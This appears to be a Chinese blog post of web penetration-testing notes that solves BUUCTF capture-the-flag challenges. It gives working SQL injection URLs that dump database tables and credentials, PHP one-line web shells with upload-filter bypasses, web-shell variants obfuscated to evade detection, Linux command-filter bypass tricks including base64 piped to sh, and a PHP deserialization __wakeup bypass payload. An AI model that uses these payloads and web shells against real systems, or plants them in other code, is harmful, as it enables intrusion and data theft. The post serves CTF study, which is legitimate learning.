您现在的位置是:首页 >其他 >Web渗透 不断更新网站首页其他
Web渗透 不断更新
Web渗透
SQL注入
一般注入步骤
注入点 --> 查询注入字段数 --> 查询注入回显位 --> 查询当前数据库信息 --> 查询数据库表 --> 查询数据库表下的字段 --> 爆出想要的字段信息
以BUUCTF [极客大挑战 2019]LoveSQL 1 题为例子,该题没有任何过滤,非常基础!!
发现有一个用户名和密码,先用弱口令尝试登录,Fail!!,然后使用万能密码1‘ or 1=1#
发现有效,但密码好像只是一串数字,考虑加解密情况,但这题并不是。
目前告诉我们有admin用户,且明显username 或者password存在注入情况,先看下查询字段数
/check.php?username=1' or 1=1 order by 3%23&password=1 存在
/check.php?username=1' or 1=1 order by 3%23&password=1 报错
注意:此时是URL输入,不能用#,而用其url编码%23
发现有3个回显字段,接下来查看哪几个字段存在回显情况
/check.php?username=1' union select 1,2,3%23&password=1
发现回显点为 2和3,先查询当前的数据库名和版本
/check.php?username=1' union select 1,database(),version()%23&password=1
数据库为geek,查询数据库下的表有哪些
注意,可能答案不在当前数据库,则要先爆出所有数据库:
group_concat(schema_name) from information_schema.schemata
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
group_concat(id,password) 将id和passwd合并输出,该函数可将所有查询结果显示,而不是只显示第一个结果
可以发现有两个表 geekuser 和 l0ve1ysq1,下一步就是看数据库表中有哪些字段,由于答案在l0ve1ysq1表中,则以它为例:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
发现有id,username,password字段,则查看这些字段内容
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
文件上传漏洞
这类漏洞思想就是上传一个后门文件达到攻击效果,主要难点在于绕过防御策略
绕过策略可参考:https://blog.csdn.net/weixin_67503304/article/details/125944267
以BUUCTF [极客大挑战 2019]Upload 为例
创建一个文件xx.php,写入一句话木马
<?php phpinfo(); @eval($_POST['shell']); ?>
提示上传的不是图片,则抓包修改文件类型
Content-Type: image/jpeg
结果提示 文件的后缀不能为php,文件绕过的格式也有很php,php3,php4,php5,phtml.pht,也可以对php后缀名进行绕过,如大小写,空格等,这里选择xx.phtml绕过
对<?也有过滤,则换个一句话木马
GIF89a
<script language="php">eval($_POST['shell']);</script>
GIF89a就GIF文件格式头字符串,可避免检测文件时,发现这不是图片文件
接下来就是找到该后门文件,这里就只能猜文件存放位置,一般存放upload下,访问/upload/test.phtml
后门参数为shell,用post请求或者悬剑等可直接利用,这里用hackbar展示:
即可得到flag
木马脚本
一句话木马
<?php @eval($_POST['shell']); ?>
<?php assert($_POST['shell']); ?>
<script language="php">eval($_POST['shell']);</script>
木马检测绕过
拼接法绕过
木马原型:<?php assert($_POST['z']); ?> 使用拼接法绕过关键字检测
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>
请求时参数为:/?x=b&y=assert
则$a=b $$a=assert 而$$a中$a=b 则$$a本质上为$b
则$b=assert $b($_POST['z']);-->assert($_POST['z']);
加解密绕过
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>
但参数传递时需要传递base64_encode,比如phpinfo() --> cGhwaW5mbygp
目前很多安全策略会检测base64,但可用其他加密方式绕过 或者自己写一套加解密算法绕过
混淆加密绕过
和加解密同理,网上搜 php在线加密 即可
加密后虽然面目全非,但其实功能、本质并未改变
加密混淆基本能绕过所有基于内容的匹配策略
过滤绕过
空格绕过 针对Linux
< : 如 cat flag.txt 可使用 cat<flag.txt
$IFS
${IFS}
$IFS$(1-9)
{cat,flag.txt}
%09 用于url传递,类似于%09代替空格
如cat flag.php存在空格检测,则可使用cat$IFS$1flag.php
特定字符过滤绕过 针对Linux(例如:cat)
ca""t
ca''t
ca``t
ca
a=c;b=at;$a$b xxx.php # 变量拼接方法
c${u}at: ${u}在linux中代表空字符串
编码方式:编码:echo “cat flag.php” | base64
解码:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh 或者 `echo Y2F0IGZsYWcucGhwCg== | base64 -d`
序列号unserialize
简单来说就是参数被 封装成类的形式,因此注入时要注意参数结构
以BUUCTF [极客大挑战 2019]PHP 为例子,该例子分两步骤 目录爆破和反序列化
打开网站发现提示是存在备份,直接开始目录爆破,目录爆破主要在于2点:字典和爆破速率(太快会导致网站GG或拦截)
本次使用gobuster + top7000字典进行爆破 如果速率过快导致GG,那得自己写python脚本控制了
gobuster dir -u http://63c562ca-2b55-49c0-bfaa-98e049c6e69e.node4.buuoj.cn:81/ -w top7000.txt -t 5 --delay 1000ms
-t 是指同时几个线程,–delay是指线程等待时间,用于控制速度,由于这个网站速度太快会G
结果发现存在www.zip 下载下来发现2个有用文件,index.php和class.php,index.php:
# index.php
...
<?php
include 'class.php';
$select = $_GET['select']; # 获取参数值
$res=unserialize(@$select); # 对参数反序列化,说明输入的参数是经过序列化之后的
?>
...
# class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){ # 用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){ # 当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。
if ($this->password != 100) { # 如果 password != 100 就输出用户名和密码
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { # 当 username === admin 才能输出 flag
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
# flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
经过分析,已经确定需要提交的参数是select,而且提交的值是经过序列化之后的值,username=‘admin’,password=‘100’。
# 序列化代码
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$ser = serialize(new Name());
var_dump($ser);
?>
## 序列化结果:O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
提交结果失败
看结果分析,这是password!=100时才会回显的结果,发现序列化后是存在空格的,url空格用%00代替
?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
结果啥也没回显,还是失败:
进一步分析,wakeup函数是修改了username的值,可能是wakeup函数被调用了
在类外部使用serialize()函数进行序列化的时候,会先调用类内部__sleep()方法,同理在调用unserialize() 函数的时候会先调用**__wakeup()**方法。
这就懂了,还需要绕过wakeup的调用,如果对象属性的个数的值大于真实的属性个数的时候会跳过__wakeup的执行,把name后面的数字2改为大于2的数字,结果成功!
?select=O:4:"Name":999:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}